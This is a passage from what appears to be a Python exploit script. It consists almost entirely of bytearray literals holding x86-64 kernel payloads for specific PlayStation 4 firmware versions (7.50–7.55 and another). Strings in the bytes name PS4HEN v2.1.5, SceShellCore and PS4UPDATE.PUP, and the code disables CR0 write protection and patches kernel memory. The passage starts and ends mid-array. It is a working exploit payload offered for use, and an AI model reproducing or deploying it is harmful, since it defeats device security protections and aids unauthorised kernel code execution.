,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,246,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,156,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,125,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,24,18,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,74,18,0,0,72,137,223,255,21,177,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,130,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,89,17,0,0,233,186,0,0,0,255,21,70,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,20,17,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,11,17,0,0,72,137,239,255,21,18,17,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,208,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,147,16,0,0,72,137,239,255,21,154,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,144,172,167,1,72,137,21,193,16,0,0,72,141,144,24,90,85,1,72,137,21,171,16,0,0,72,141,144,88,129,180,1,72,137,21,149,16,0,0,72,141,144,136,156,102,2,72,137,21,127,16,0,0,72,141,144,0,68,105,2,72,137,21,105,16,0,0,72,141,144,136,134,105,2,72,137,21,83,16,0,0,72,141,144,152,134,105,2,72,137,21,61,16,0,0,72,141,144,64,190,105,2,72,137,21,39,16,0,0,72,141,144,72,198,105,2,72,137,21,17,16,0,0,72,141,144,64,130,104,2,72,137,21,251,15,0,0,72,141,144,160,84,18,1,72,137,21,229,15,0,0,72,141,144,64,115,32,0,72,137,21,143,16,0,0,72,141,144,112,222,26,0,72,137,21,121,16,0,0,72,141,144,48,224,26,0,72,137,21,99,16,0,0,72,141,144,128,22,48,0,72,137,21,77,16,0,0,72,141,144,128,24,48,0,72,137,21,55,16,0,0,72,141,144,128,85,0,0,72,137,21,33,16,0,0,72,141,144,48,234,44,0,72,137,21,11,16,0,0,72,141,144,32,235,44,0,72,137,21,245,15,0,0,72,141,144,128,238,2,0,72,137,21,223,15,0,0,72,141,144,96,250,45,0,72,137,21,201,15,0,0,72,141,144,48,62,9,0,72,137,21,179,15,0,0,72,141,144,112,197,11,0,72,137,21,157,15,0,0,72,141,144,80,54,72,0,72,137,21,135,15,0,0,72,141,144,112,183,28,0,72,137,21,25,15,0,0,72,141,144,80,191,100,0,72,137,21,3,15,0,0,72,141,144,80,0,102,0,72,137,21,237,14,0,0,72,141,144,208,8,102,0,72,137,21,215,14,0,0,72,141,144,160,163,101,0,72,137,21,193,14,0,0,72,141,144,176,0,102,0,72,137,21,171,14,0,0,72,141,144,64,110,100,0,72,137,21,109,14,0,0,72,141,144,16,136,100,0,72,137,21,71,14,0,0,72,141,144,144,132,100,0,72,137,21,65,14,0,0,72,141,144,112,224,99,0,72,137,21,59,14,0,0,72,141,144,96,128,100,0,72,137,21,21,14,0,0,72,141,144,224,116,99,0,72,137,21,47,14,0,0,72,141,144,128,211,29,0,72,137,21,65,14,0,0,72,141,144,80,162,29,0,72,137,21,35,14,0,0,72,141,144,128,164,29,0,72,137,21,13,14,0,0,72,141,144,144,93,32,0,72,137,21,15,14,0,0,72,141,144,192,60,4,0,72,137,21,145,13,0,0,72,141,144,48,248,37,0,72,137,21,171,13,0,0,72,141,144,96,246,37,0,72,137,21,149,13,0,0,72,141,144,208,249,37,0,72,137,21,127,13,0,0,72,141,144,32,250,37,0,72,5,208,255,37,0,72,137,21,99,13,0,0,72,137,5,84,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,117,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,30,14,0,0,255,37,96,14,0,0,72,139,5,1,14,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,104,14,0,0,72,137,223,255,21,15,14,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,166,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,135,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,43,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,24,12,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,235,11,0,0,233,239,0,0,0,255,21,216,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,184,11,0,0,133,192,117,44,72,139,53,165,12,0,0,65,107,252,58,186,2,0,0,0,255,21,230,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,131,11,0,0,72,137,239,255,21,138,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,67,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,247,10,0,0,72,137,239,255,21,254,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,140,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,225,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,44,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,15,2,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,107,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,174,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,225,143,49,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,129,1,0,0,72,141,179,0,89,60,0,77,137,224,72,141,13,108,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,91,1,0,0,72,141,179,61,206,19,0,77,137,224,72,141,13,225,8,0,0,186,2,0,0,0,72,137,239,232,167,252,255,255,133,192,15,133,53,1,0,0,76,141,53,200,8,0,0,72,141,179,32,207,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,126,252,255,255,133,192,15,133,12,1,0,0,72,141,179,56,59,59,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,234,0,0,0,72,141,179,112,98,59,0,77,137,224,72,141,13,117,8,0,0,186,4,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,196,0,0,0,72,141,179,177,233,245,0,77,137,224,72,141,13,184,8,0,0,186,5,0,0,0,72,137,239,232,16,252,255,255,133,192,15,133,158,0,0,0,72,141,179,65,108,155,0,77,137,224,72,141,13,152,8,0,0,186,1,0,0,0,72,137,239,232,234,251,255,255,133,192,117,124,72,141,179,173,106,92,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,204,251,255,255,133,192,117,94,72,141,179,217,68,110,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,174,251,255,255,133,192,117,64,72,141,179,246,97,13,0,77,137,224,72,141,13,208,7,0,0,186,5,0,0,0,72,137,239,232,140,251,255,255,133,192,117,30,72,141,179,95,124,208,0,77,137,224,72,141,13,170,7,0,0,186,3,0,0,0,72,137,239,232,106,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,4,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,104,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,191,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,162,251,255,255,69,49,246,76,141,61,33,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,228,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,32,18,25,0,77,137,224,72,141,13,160,6,0,0,186,4,0,0,0,72,137,239,232,97,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,159,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,117,8,0,0,72,141,13,135,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,119,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,22,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,64,210,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,170,249,255,255,133,192,117,26,72,141,179,160,213,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,140,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,38,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,196,5,0,0,72,199,68,36,24,0,0,0,0,232,253,248,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,222,249,255,255,69,49,228,76,141,45,93,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,39,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,67,179,16,0,72,141,13,64,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,173,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,94,179,16,0,72,141,13,25,5,0,0,186,2,0,0,0,72,137,239,232,137,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,35,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,144,235,47,2,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,144,233,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,96,66,23,0,0,93,127,0,50,1,132,0,0,225,156,0,138,66,23,0,241,143,49,0,42,93,127,0,42,225,156,0,64,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,160,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,152,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,128,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
    elif args.fw in ('750', '751', '755'):
        offs = OffsetsFirmware_750_755()
        payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,104,181,19,1,72,137,70,48,72,139,130,32,98,180,1,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,227,51,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,40,200,19,2,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,128,212,47,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,128,33,18,1,72,137,5,124,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,147,248,40,0,144,144,198,134,149,248,40,0,144,102,199,134,158,247,40,0,144,144,198,134,160,247,40,0,144,102,199,134,63,253,40,0,144,144,198,134,65,253,40,0,144,72,139,5,33,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,135,248,40,0,144,144,102,199,134,146,247,40,0,144,144,102,199,134,51,253,40,0,144,144,102,199,134,112,253,40,0,144,144,102,65,199,132,36,162,138,33,0,144,144,65,198,132,36,172,84,23,0,7,65,198,132,36,180,84,23,0,7,72,137,152,24,2,0,0,72,141,29,70,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,61,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,32,193,47,0,72,141,154,144,193,47,0,243,164,72,141,53,33,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,177,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,197,253,255,255,76,137,255,73,137,198,255,211,76,99,5,44,9,0,0,76,137,241,76,137,234,80,76,141,13,62,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,158,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,165,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,143,252,255,255,137,195,133,192,117,51,76,141,37,126,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,114,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,92,252,255,255,137,195,133,192,116,98,72,139,5,65,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,4,48,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,128,196,47,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,48,196,47,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,112,202,47,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,160,109,85,1,186,2,0,0,0,72,129,195,128,102,29,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,16,19,54,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,96,245,47,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,224,194,47,0,76,141,171,80,195,47,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,64,214,47,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,224,194,47,0,76,137,239,255,208,73,141,20,44,76,